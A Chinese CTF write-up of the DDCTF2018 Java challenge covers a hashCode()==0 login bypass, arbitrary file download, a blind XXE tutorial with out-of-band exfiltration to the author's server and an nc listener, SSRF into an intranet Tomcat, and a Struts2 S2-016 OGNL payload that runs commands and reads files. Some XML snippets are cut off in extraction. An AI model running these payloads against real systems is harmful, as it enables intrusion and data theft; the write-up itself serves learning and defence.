喝杯java冷静一下是什么梗_DDCTF2018-喝杯JAVA冷静下

登录与任意文件下载

首页有提示信息:Quick4j By Eliteams,可以在github找到源码:

遇到登录框,不要上来就尝试注入什么的,先看看弱口令,或者题目有没有给用户账号等信息,本题在题目登录页面的源码中发现一串base64

YWRtaW46IGFkbWluX3Bhc3N3b3JkXzIzMzNfY2FpY2Fpa2Fu

解码为一个用户名密码:

admin: admin_password_2333_caicaikan

登录上去发现可下载informations/readme.txt这个文件,文件内容是Readme~~,没啥用,下载链接如下:

http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/getInfomation?filename=informations/readme.txt

直接尝试访问根目录下相应文件,访问成功

http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/informations/readme.txt

猜测可以下载任意文件,尝试下载WEB-INF/web.xml成功

http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/getInfomation?filename=WEB-INF/web.xml

通过这个任意文件下载,加上github中的源码,下载能找到以下的XML以及class文件:

WEB-INF_classes_com_eliteams_quick4j_web_controller_CommonController.class

WEB-INF_classes_com_eliteams_quick4j_web_controller_FormController.class

WEB-INF_classes_com_eliteams_quick4j_web_controller_PageController.class

WEB-INF_classes_com_eliteams_quick4j_web_controller_UserController.class

WEB-INF_classes_com_eliteams_quick4j_web_dao_PermissionMapper.class

WEB-INF_classes_com_eliteams_quick4j_web_dao_PermissionMapper.xml

WEB-INF_classes_com_eliteams_quick4j_web_dao_RoleMapper.class

WEB-INF_classes_com_eliteams_quick4j_web_dao_RoleMapper.xml

WEB-INF_classes_com_eliteams_quick4j_web_dao_UserMapper.class

WEB-INF_classes_com_eliteams_quick4j_web_dao_UserMapper.xml

WEB-INF_classes_com_eliteams_quick4j_web_model_Permission.class

WEB-INF_classes_com_eliteams_quick4j_web_model_PermissionExample.class

WEB-INF_classes_com_eliteams_quick4j_web_model_Role.class

WEB-INF_classes_com_eliteams_quick4j_web_model_RoleExample.class

WEB-INF_classes_com_eliteams_quick4j_web_model_User.class

WEB-INF_classes_com_eliteams_quick4j_web_model_UserExample.class

WEB-INF_classes_com_eliteams_quick4j_web_security_OperationType.class

WEB-INF_classes_com_eliteams_quick4j_web_security_PermissionSign.class

WEB-INF_classes_com_eliteams_quick4j_web_security_Resource.class

WEB-INF_classes_com_eliteams_quick4j_web_security_RoleSign.class

WEB-INF_classes_com_eliteams_quick4j_web_security_SecurityRealm.class

WEB-INF_classes_com_eliteams_quick4j_web_service_PermissionService.class

WEB-INF_classes_com_eliteams_quick4j_web_service_RoleService.class

WEB-INF_classes_com_eliteams_quick4j_web_service_UserService.class

WEB-INF_web.xml

代码审计

通过JD-GUI反编译class加上对比github上的源码,发现UserController.class与SecurityRealm.class应该与题目有关

UserController.class

package com.eliteams.quick4j.web.controller;

import com.eliteams.quick4j.web.model.User;

import com.eliteams.quick4j.web.service.UserService;

import java.io.ByteArrayInputStream;

import java.io.File;

import java.io.IOException;

import java.io.InputStream;

import java.io.PrintStream;

import javax.annotation.Resource;

import javax.servlet.ServletContext;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpSession;

import javax.validation.Valid;

import javax.xml.parsers.DocumentBuilder;

import javax.xml.parsers.DocumentBuilderFactory;

import javax.xml.parsers.ParserConfigurationException;

import org.apache.commons.io.FileUtils;

import org.apache.shiro.SecurityUtils;

import org.apache.shiro.authc.AuthenticationException;

import org.apache.shiro.authc.UsernamePasswordToken;

import org.apache.shiro.authz.annotation.RequiresPermissions;

import org.apache.shiro.authz.annotation.RequiresRoles;

import org.apache.shiro.subject.Subject;

import org.springframework.http.HttpHeaders;

import org.springframework.http.HttpStatus;

import org.springframework.http.MediaType;

import org.springframework.http.ResponseEntity;

import org.springframework.stereotype.Controller;

import org.springframework.ui.Model;

import org.springframework.validation.BindingResult;

import org.springframework.web.bind.annotation.RequestMapping;

import org.springframework.web.bind.annotation.ResponseBody;

import org.w3c.dom.Document;

import org.xml.sax.SAXException;

@Controller

@RequestMapping({"/user"})

public class UserController

{

public static final String hintFile = "/flag/hint.txt";

@Resource

private UserService userService;

@RequestMapping(value={"/login"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})

public String login(@Valid User user, BindingResult result, Model model, HttpServletRequest request)

{

try

{

Subject subject = SecurityUtils.getSubject();

if (subject.isAuthenticated()) {

return "redirect:/";

}

if (result.hasErrors())

{

model.addAttribute("error", "参数错误!");

return "login";

}

if ((user.getUsername().isEmpty()) || (user.getUsername() == null) ||

(user.getPassword().isEmpty()) || (user.getPassword() == null)) {

return "login";

}

subject.login(new UsernamePasswordToken(user.getUsername(), user.getPassword()));

User authUserInfo = this.userService.selectByUsername(user.getUsername());

request.getSession().setAttribute("userInfo", authUserInfo);

}

catch (AuthenticationException e)

{

model.addAttribute("error", "用户名或密码错误!");

return "login";

}

return "redirect:/";

}

@RequestMapping(value={"/logout"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})

public String logout(HttpSession session)

{

session.removeAttribute("userInfo");

Subject subject = SecurityUtils.getSubject();

subject.logout();

return "login";

}

@RequestMapping(value={"/admin"}, produces={"text/html;charset=UTF-8"})

@ResponseBody

@RequiresRoles({"admin"})

public String admin()

{

return "拥有admin角色,能访问";

}

@RequestMapping(value={"/create"}, produces={"text/html;charset=UTF-8"})

@ResponseBody

@RequiresPermissions({"user:create"})

public String create()

{

return "拥有user:create权限,能访问";

}

@RequestMapping(value={"/getInfomation"}, produces={"text/html;charset=UTF-8"})

@ResponseBody

@RequiresRoles({"guest"})

public ResponseEntity download(HttpServletRequest request, String filename)

throws IOException

{

if ((filename.contains("../")) || (filename.contains("./")) || (filename.contains("..\\")) || (filename.contains(".\\"))) {

return null;

}

String path = request.getServletContext().getRealPath("/");

System.out.println(path);

File file = new File(path + File.separator + filename);

HttpHeaders headers = new HttpHeaders();

String downloadFielName = new String(filename.getBytes("UTF-8"), "iso-8859-1");

headers.setContentDispositionFormData("attachment", downloadFielName);

headers.setContentType(MediaType.APPLICATION_OCTET_STREAM);

return new ResponseEntity(FileUtils.readFileToByteArray(file), headers, HttpStatus.CREATED);

}

@RequestMapping(value={"/nicaicaikan_url_23333_secret"}, produces={"text/html;charset=UTF-8"})

@ResponseBody

@RequiresRoles({"super_admin"})

public String xmlView(String xmlData)

{

if (xmlData.length() >= 1000) {

return "Too long~~";

}

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

factory.setExpandEntityReferences(true);

try

{

DocumentBuilder builder = factory.newDocumentBuilder();

InputStream xmlInputStream = new ByteArrayInputStream(xmlData.getBytes());

Document localDocument = builder.parse(xmlInputStream);

}

catch (ParserConfigurationException e)

{

e.printStackTrace();

return "ParserConfigurationException";

}

catch (SAXException e)

{

e.printStackTrace();

return "SAXException";

}

catch (IOException e)

{

e.printStackTrace();

return "IOException";

}

return "ok~ try to read /flag/hint.txt";

}

}

接受url

/rest/user/login

/rest/user/logout

/rest/user/admin

/rest/user/create

/rest/user/getInfomation

/rest/user/nicaicaikan_url_23333_secret

login与logout都是正常功能,admin与create就是检测了个权限,打印了个字符串。getImformation实现了这里之前的文件下载,这里看起来是过滤了一些父目录的字符串。nicaicaikan_url_23333_secret里的xmlView方法就有意思了,也是本题的重点。另外给了flag的提示:/flag/hint.txt,也就是要读到网站服务器跟目录下的flag文件夹中的hint.txt,而且看起来这也只是个hint。

xmlView()

@RequestMapping(value={"/nicaicaikan_url_23333_secret"}, produces={"text/html;charset=UTF-8"})

@ResponseBody

@RequiresRoles({"super_admin"})

public String xmlView(String xmlData)

{

if (xmlData.length() >= 1000) {

return "Too long~~";

}

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

factory.setExpandEntityReferences(true);

try

{

DocumentBuilder builder = factory.newDocumentBuilder();

InputStream xmlInputStream = new ByteArrayInputStream(xmlData.getBytes());

Document localDocument = builder.parse(xmlInputStream);

}

这里没有配置@RequestParam,所以接受的参数名默认为函数的参数名:xmlData

首先检查了数据大小,然后设置了可以接受外部实体并去解析提交的xml数据

没有输出,存在一个blind XXE的漏洞

但是想要触发这个XXE漏洞需要@RequiresRoles({"super_admin"}),也就是超级管理员的权限

我们用题目给的admin账号并没有权限调用这个方法

SecurityRealm.class

protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token)

throws AuthenticationException

{

String username = String.valueOf(token.getPrincipal());

String password = new String((char[])token.getCredentials());

User authentication = this.userService.authentication(new User(username, password));

if ((username.equals("superadmin_hahaha_2333")) && (password.hashCode() == 0))

{

String wonderful = "you are wonderful,boy~";

System.err.println(wonderful);

}

else if (authentication == null)

{

throw new AuthenticationException("用户名或密码错误!");

}

SimpleAuthenticationInfo authenticationInfo = new SimpleAuthenticationInfo(username, password, getName());

return authenticationInfo;

}

}

superadmin

发现这里的用户名为superadmin_hahaha_2333很有可能就是之前的XXE漏洞需要的超级管理员权限。但是存在一个密码的验证:

password.hashCode() == 0

hashCode()

这里hashCode()是在Java的Object类中有一个方法,返回对象的hash值,这里算法是java自己完成的一个hash计算方法。所以要找到是一个字符串算完的hashCode是0,通过google搜索:hashcode zero,找到一个stackoverflow上的问题:Can a non-empty string have a hashcode of zero?

这里有答案给出:f5a5a608。尝试用账户:superadmin_hahaha_2333密码:f5a5a608成功登录

XXE

登录以后我们就可以访问nicaicaikan_url_23333_secret并且提交xmlData去触发XXE漏洞了,因为我是第一次接触XXE漏洞,这里详细记录一下今天的学习过程,了解XXE的这一节可以跳过。

概述:XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击。主要是因为Web应用实现的XML解析器允许解析外部实体,并且这些外部实体的内容可以是由一些协议比如file,http等获取的。如果限制不严格,则可能获得服务器中的一些文件,或者内网信息。

XML与DTD

编辑工具

由于我的MAC的硬盘排线坏了,最近写笔记用的windows,有一个很久以前的微软的xml编辑器:XML Notepad,直接可以解析XML并输出,测试外部实体也支持file与http协议,可以作为理解XXE的好工具。直接用XML Notepad打开一个编辑好的XML文件就可以看到效果,给出一个示例:这里我在我的C盘下新建了一个flag.txt

]>

flag1=&flag1;
flag2=&flag2;

基本概要

实体

定义实体是为了引用的!而一般实体(通用实体)与参数实体引用的方式是不同的!

内部实体与外部实体

内部实体与外部实体的区别在于SYSTEM标记,有SYSTEM标记的为外部实体,否则为内部实体

这里声明了两个实体:flag1为内部实体,flag2为外部实体,我们可以在xml的标签中通过&flag1和&flag2的方式引用这两个实体:

]>

flag1=&flag1;flag2=&flag2;

可见flag1的值就是字符串”file:///home/flag.txt”,而flag2的值是文件系统中/home/flag.txt的内容。所以是外部实体被解析,通过一些协议去拿到数据,这里就是XXE的关键!

通用实体与参数实体

参数实体必须定义在单独的DTD文档中或XML文档的DTD区(但是引用只能在DTD文档中,即外部子集,而不能在XML文档的DTD区),前者为该XML文档的外部子集,后者为该XML文档的内部子集

在之前我们声明的所有实体都是通用实体,我们可以在整个文档中,包括DTD部分使用通用实体的引用,如下:

]>

flag1=&flag1;
flag2=&flag2;

可以成功输出两个相同的字符串,说明在DTD部分使用通用实体有效。

如果我们在声明实体的名称前空格加一个百分号,就声明了一个参数实体:

参数实体的引用方式为:%flag1;,并且参数实体只能在DTD部分中引用,我们首先尝试:

]>

flag1=%flag1;

发现直接输出了%flag1;这个字符串,说明参数实体并不能在xml的标签中被引用,我们继续尝试:

]>

flag2=&flag2;

报错提示:内部标记中不允许使用参数实体引用,这里解决方式是将实体定义放到另一个文件,然后引用整个dtd,原因是:参数实体必须定义在单独的DTD文档中或XML文档的DTD区(但是引用只能在DTD文档中,即外部子集,而不能在XML文档的DTD区)

flag.dtd

flag.xml

flag2=&flag2;

成功引用,这里首先说明外实体如果不指明协议,默认file协议去读取本目录的文件,但这里换成通用实体一样可以实现:

flag.dtd

flag.xml

flag2=&flag2;

参数实体高级技巧

为什么会存在参数实体这个东西?如果它本身完全可以由通用实体简便的替代,那参数实体就不应该出现啊!网上的一些说法:

它使我们能够简便地引用或修改DTD中常用的结构,我们只需维护一处代码。

参数实体的作用是作为DTD中的元素的条件控制

事实上是参数实体的一些使用方法不能用通用实体替代,如下:

外部引用实体定义

之前报了一个错:内部标记中不允许使用参数实体引用,但其实可以利用如下方式使用参数实体的引用而不引发报错,通过这种参数实体的使用方式可以方便的通过外部实体进行DTD定义的修改:

">

%flag1;

]>

&flag2;

声明了一个参数实体flag1,内容是另一个实体的定义

在实体定义的平级,引用了flag1,相当于定义了flag1的内容

即定义了flag2实体

这里如果我们把flag1这个参数实体改为一个外部参数实体:

flag.xml

%flag1;

]>

&flag2;

flag.dtd

效果同上,也就是说我们只需要修改flag.dtd就可以完成DTD的定义了。但这里如果我们把flag1换成通用实体,则不成功,如下:

">

&flag1;

]>

&flag2;

报错提示:未找到所需的DTD标记,说明只有参数实体可以作为声明DTD的标记,而通用实体的确可以存在于DTD中,只不过是在DTD的内容中出现,而不是DTD的标记本身。

带出数据

如果我们在外部实体的内容中使用,使用实体的引用是没有效果的:

]>

flag1=&flag1;flag2=&flag2;

报错提示:未能找到文件&flag1;,这里说明通用实体flag1并没有在外部实体的内容中被解析,如果把flag1换成参数实体呢?

]>

flag2=&flag2;

一样提示报错:未能找到文件%flag1;。说明参数实体一样没有在外部实体的内容中被解析,但如果我们修改成如下的形式

flag.xml

flag=&flag3;

flag.dtd

">

%flag2;

则可以成功将flag.txt的内容带出来,说明flag1的参数传递是有效的。如果将flag1换成通用实体,则继续报错。可见在DTD部分中参数实体更实用一些。这里可以成功的原因应该是:

声明了一个flag1的内部参数实体,内容是一个file协议的字符串

声明了一个flag2的内部参数实体,内容是一个实体的定义,其中有参数实体flag1的引用

在DTD中引用了flag2实体,声明了flag3这个外部实体

在声明flag3时,内容已经被flag1的引用替换成file字符串

所以flag3内容就是flag.txt文件中的内容

这里如果我们把flag1改为外部实体,flag3声明的外部实体是我们服务器的url,并且拼接上flag1的引用,则可以把文件的内容带出到url中最终发送到我们的服务器上,这种攻击方式叫OOB(外带数据):

local.xml

%remote;]>

remote.xml

">

%init;

%send;

实体总结

内部实体:实体内容就是定义的字符串本身

外部实体:实体的内容是通过协议字符串获得的内容

通用实体:也叫一般实体,定义主要是为了在文档正文中引用

参数实体:主要是为了在DTD部分引用,为了避免混淆,尽量在DTD中少用通用实体

清楚的利用这些实体才能深刻的理解XXE的攻击原理:

外部实体主要用于获取数据

通用实体用于在XXE中回显数据

参数实体与外部实体结合将获得数据发送出去

内部实体可能作为中间的过程步骤存在,如上声明了一个中间的实体定义,目的是为了解析参数实体

参考:

XML解析器

外部实体一般支持http,file等协议,不同的解析器实现的协议不同,具体内容如下所示:

33caac3007ccc44b7270f193c5a9965e.png

只要实现了XML的解析功能,并且没有限制外部实体就有可能存在XXE漏洞,其中包括了:

网站的后端

一些应用程序(如XML Notepad)

甚至是浏览器

其中PHP和JAVA常用实现XML解析的方法如下:

php

php解析xml是利用的libxml模块,libxml2.9.1及以后,默认不解析外部实体。测试的时候window下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。可以通过libxml_disable_entity_loader(ture);这条语句来进制外部实体的加载。

SimpleXML

$a=<<

]>

&xxe;

EOF;

$data= simplexml_load_string($a);

print_r($data);

?>

通过这种方式加载外部实体需要libxml版本小于2.9.1,大于这个版本即使libxml_disable_entity_loader(false);设置为关闭也无法加载。防御方法,使用高版本的libxml,禁用外部实体:

libxml_disable_entity_loader(true);

DOM

libxml_disable_entity_loader(false);

$xmlfile = <<

]>

&xxe;

EOF;

$dom = new DOMDocument();

$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

$creds = simplexml_import_dom($dom);

print_r($creds);

?>

通过这种方式任意版本libxml均可加载外部实体,防御方法:禁用外部实体

libxml_disable_entity_loader(true);

java

文章中指出了Java常用的XML解析的库,如果不禁用外部实体都可能会产生XXE漏洞,本题是采用了javax.xml.parsers,部分代码如下:

import javax.xml.parsers.DocumentBuilder;

import javax.xml.parsers.DocumentBuilderFactory;

import javax.xml.parsers.ParserConfigurationException;

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

factory.setExpandEntityReferences(true);

try{

DocumentBuilder builder = factory.newDocumentBuilder();

InputStream xmlInputStream = new ByteArrayInputStream(xmlData.getBytes());

Document localDocument = builder.parse(xmlInputStream);

}

防御:只要把允许外部实体设置为false即可

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

factory.setExpandEntityReferences(false);

XXE攻击方法

XXE笔记参考

本题解法

首先尝试一个回显的XXE:

]>

&file;

url编码之后拼接到url中的xmlData参数中:

http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/nicaicaikan_url_23333_secret?xmlData=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22UTF-8%22%3f%3E%0a%3C%21DOCTYPE%20flag%5b%0a%3C%21ENTITY%20file%20SYSTEM%20%22file%3a%2f%2f%2fetc%2fpasswd%22%3E%5d%3E%0a%3Croot%3E%26file%3b%3C%2froot%3E

根据分析的代码以及实际情况都是返回的:

ok~ try to read /flag/hint.txt

说明xml解析成功,并且没有hint.txt的数据。

OOB

没有可以直接回传的通道不意味着就不存在 XXE 攻击

因为是blindXXE,所以需要读出的数据放到参数实体中,然后将参数实体拼接到另一个获得外部引用实体的url中,即可把数据带出。这种外带数据的方式称之为OOB(Out of Band)。通过以下这种方式构造两个xml,即可每次攻击不改变提交的xml(local.xml),仅仅更改服务器上的remote.xml就好了。

local.xml

提交给nicaicaikan_url_23333_secret的xml

%remote;]>

第一行是xml的声明

第二行声明一个了文档类型

第三行声明了一个名为remote的外部参数实体,内容是远程的remote.xml中的内容

第四行在DTD内部引用这个remote的参数实体,也就是说明了remote.xml里也要是合法的DTD

第五行要写一个合法的闭合的标签

remote.xml

远程服务器的remote.xml

">

%init;

%send;

第一行声明了一个名为file的外部参数实体,内容是hint.txt

第二行声明了一个名为init的参数实体,内容是一个实体定义

init内容的实体中,声明了一个名为send外部参数实体,内容是通过访问一个URL获得的内容

第三行引用init这个参数实体,真正的声明了其中的send这个参数实体,URL通过引用file这个参数实体得到真正的拼接值

第四行引用send这个参数实体,去访问了拼接出的url,成功的将hint.txt的数据带出

访问的url是nc开的端口或者是xss平台,并不会返回正确的DTD或者超时,所以这里最终xml解析失败

整个过程发生在解析xml中,数据已然带出。

利用流程

首先自己的服务器上写好可以访问的remote.xml

nc -l 1234在服务上随便开个端口,等待接受数据,用xss平台也可以

通过GET方法的xmlData参数把第一个xml(url编码)发送给nicaicaikan_url_23333_secret

服务器上接受数据即可

攻击流程

hint.txt

loacl.xml

%remote;]>

remote.xml

">

%init;

%send;

nc

nc -l 1234

url

http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/nicaicaikan_url_23333_secret?xmlData=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22UTF-8%22%3f%3E%0a%3C%21DOCTYPE%20flag%5b%0a%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3a%2f%2f103%2e42%2e28%2e252%2fremote%2exml%22%3E%0a%25remote%3b%5d%3E%0a%3Croot%2f%3Ey

RequestHead

GET /Flag%20in%20intranet%20tomcat_2%20server%208080%20port. HTTP/1.1

Cache-Control: no-cache

Pragma: no-cache

User-Agent: Java/1.8.0_151

Host: 103.42.28.252:1234

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive

hint.txt

Flag in intranet tomcat_2 server 8080 port

tomcat_2

应该是一个内网的服务器可以去扫描内网,具体怎么用一个XXE去扫描内网我还没研究,这里猜出内网地址http://tomcat_2:8080

于是这里并不是读文件了,而是去用XXE去访问内网的一个URL:

file://flag/hint.txt –> http://tomcat_2:8080

和之前的方式大同小异,只更改remote.xml内容如下:

">

%init;

%send;

收到请求头:

GET /try%20to%20visit%20hello.action. HTTP/1.1

Cache-Control: no-cache

Pragma: no-cache

User-Agent: Java/1.8.0_151

Host: 103.42.28.252:1234

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive

这里提示去访问hello.action

hello.action

继续更改remote.xml

">

%init;

%send;

继续收到请求头:

GET /This%20is%20Struts2%20Demo%20APP,%20try%20to%20read%20/flag/flag.txt. HTTP/1.1

Cache-Control: no-cache

Pragma: no-cache

User-Agent: Java/1.8.0_151

Host: 103.42.28.252:1234

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive

这里提示这是一个Struts2的应用,请尝试去读到这台tomcat服务器的/flag/flag.txt文件,于应该是需要找到Struts2的漏洞

Struts2

这个JavaWeb的框架被称为漏洞之王,官方发的漏洞公告曾经还贴过漏洞证明,直接演示攻击方法,因此饱受诟病

官方漏洞公告

相关报道

漏洞利用

本题解法s2-016

本题我们采取s2-016的payload网上找到

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect%3a%24%7b%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]%20%7b%27netstat%27,%27-an%27%7d%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%20%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%20%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%20%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29%7d

url解码,格式化一下payload

redirect:${

#a=(new java.lang.ProcessBuilder(new java.lang.String[] {'netstat','-an'})).start(),

#b=#a.getInputStream(),

#c=new java.io.InputStreamReader (#b),

#d=new java.io.BufferedReader(#c),

#e=new char[50000],

#d.read(#e),

#matt= #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),

#matt.getWriter().println (#e),

#matt.getWriter().flush(),

#matt.getWriter().close()

}

大概的意思是用redirect:${}包裹java代码,变量前标识符用井号,语句分割用逗号,改成读文件的payload

redirect:${

#f=new java.io.File('/flag/flag.txt'),

#fs=new java.io.FileInputStream(#f),

#ISR=new java.io.InputStreamReader(#fs,'GBK'),

#br=new java.io.BufferedReader(#ISR),

#lText = #br.readLine(),

#ISR.close(),

#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),

#matt.getWriter().println(#lText),

#matt.getWriter().flush(),

#matt.getWriter().close()

}

去除换行符,URL编码后添加到服务器的remote.xml

">

%int;

%send;

提交URL:

http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/nicaicaikan_url_23333_secret?xmlData=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22UTF-8%22%3f%3E%0a%3C%21DOCTYPE%20flag%5b%0a%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3a%2f%2f103%2e42%2e28%2e252%2fremote%2exml%22%3E%0a%25remote%3b%5d%3E%0a%3Croot%2f%3Ey

服务器上成功打到flag

GET /DDCTF{You_Got_it_WonDe2fUl_Man_ha2333_CQjXiolS2jqUbYIbtrOb} HTTP/1.1

Cache-Control: no-cache

Pragma: no-cache

User-Agent: Java/1.8.0_151

Host: 103.42.28.252:2345

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive

参考wp

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值